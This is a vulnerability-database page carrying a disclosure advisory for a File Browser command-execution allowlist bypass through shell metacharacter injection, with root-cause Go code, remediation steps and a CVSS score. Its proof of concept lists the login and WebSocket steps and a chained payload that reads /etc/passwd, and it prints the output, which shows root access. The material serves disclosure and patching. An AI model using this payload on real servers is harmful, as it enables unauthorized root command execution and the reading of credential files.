Loading...
Skip to main content

CVE-2026-54090 — Vulnerability in...

HIGH

File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection

Published June 12, 2026Updated July 21, 2026Source: osv

Summary

> [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Summary When a shell interpreter is configured (e.g. `/bin/sh -c`), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and `$()` all work to chain arbitrary commands after a permitted one. This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The `slices.Contains` fix does not prevent this bypass. ## Affected Location - `runner/parser.go`, function `ParseCommand` (lines 10-25) - `http/commands.go`, function `commandsHandler` (lines 72-86) ## Root Cause `ParseCommand` extracts the first token via `SplitCommandAndArgs` for the allowlist check, then passes the entire raw input to the shell: ```go func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) { name, args, err := SplitCommandAndArgs(raw) if len(s.Shell) == 0 || s.Shell[0] == "" { command = append(command, name) command = append(command, args...) } else { command = append(command, s.Shell...) command = append(command, raw) // full user input, metacharacters included } return command, name, nil } ``` In `commandsHandler`: ```go if !slices.Contains(d.user.Commands, name) { // name = "ls", passes // reject } cmd := exec.Command(command[0], command[1:]...) // actually executes: /bin/sh -c "ls; id; cat /etc/shadow" ``` `name` is `ls` — allowed. But `/bin/sh -c` interprets the rest. ## PoC Prerequisites: - Command execution enabled (`--disable-exec=false`) - Shell configured to `/bin/sh -c` - User has Execute permission with an allowlist, e.g. `git,ls,cat` Steps: 1. Log in, grab a JWT: ``` POST /api/login {"username":"admin","password":"..."} ``` 2. Open a WebSocket to `/api/command/` with header `X-Auth: <jwt>`. 3. Send: ``` ls; id; whoami; cat /etc/passwd ``` 4. All four commands execute and output is returned. Sending just `whoami` alone returns "Command not allowed." — the allowlist is active but bypassable. Output: ``` bin etc home ... ===BYPASS=== uid=0(root) gid=0(root) groups=0(root),10(wheel) root root:x:0:0:root:/root:/bin/sh ``` Tested against commit `d236f1c` (frontend v3.0.0) on the official Docker image `filebrowser/filebrowser:latest`. ## Impact Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.

Advisory Timeline

  • First published June 12, 2026 (121 days ago).
  • Last revised July 21, 2026 — 39 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/filebrowser/filebrowser/v2 to 2.33.8 or later
go get github.com/filebrowser/filebrowser/v2@v2.33.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/filebrowser/filebrowser/v2
go
All versions2.33.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-54090?
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-54090?
CVE-2026-54090 affects github.com/filebrowser/filebrowser/v2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-54090 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-8c9q-7855-wfxq
GO-2026-5250

Related CVEs

  • CVE-2026-32760
    CRITICAL

    File Browser Signup Grants Admin When Default Permissions Include Admin

  • CVE-2026-29188
    CRITICAL

    File Browser's TUS Delete Endpoint Bypasses Delete Permission Check

  • CVE-2026-54088
    CRITICAL

    File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)

  • CVE-2026-54089
    CRITICAL

    File Browser: Authentication Bypass via Proxy Auth Header Forgery

  • CVE-2026-54096
    HIGH

    File Browser: Improper Access Control Occurs via Pre-Created Public Share for a Non-existent Path

  • CVE-2026-54097
    HIGH

    File Browser: Cross-user unauthorized share-link deletion via unbounded prefix match in DeleteWithPathPrefix

  • CVE-2025-64523
    HIGH

    File Browser is Vulnerable to Insecure Direct Object Reference (IDOR) in Share Deletion Function

  • CVE-2026-55667
    HIGH

    File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies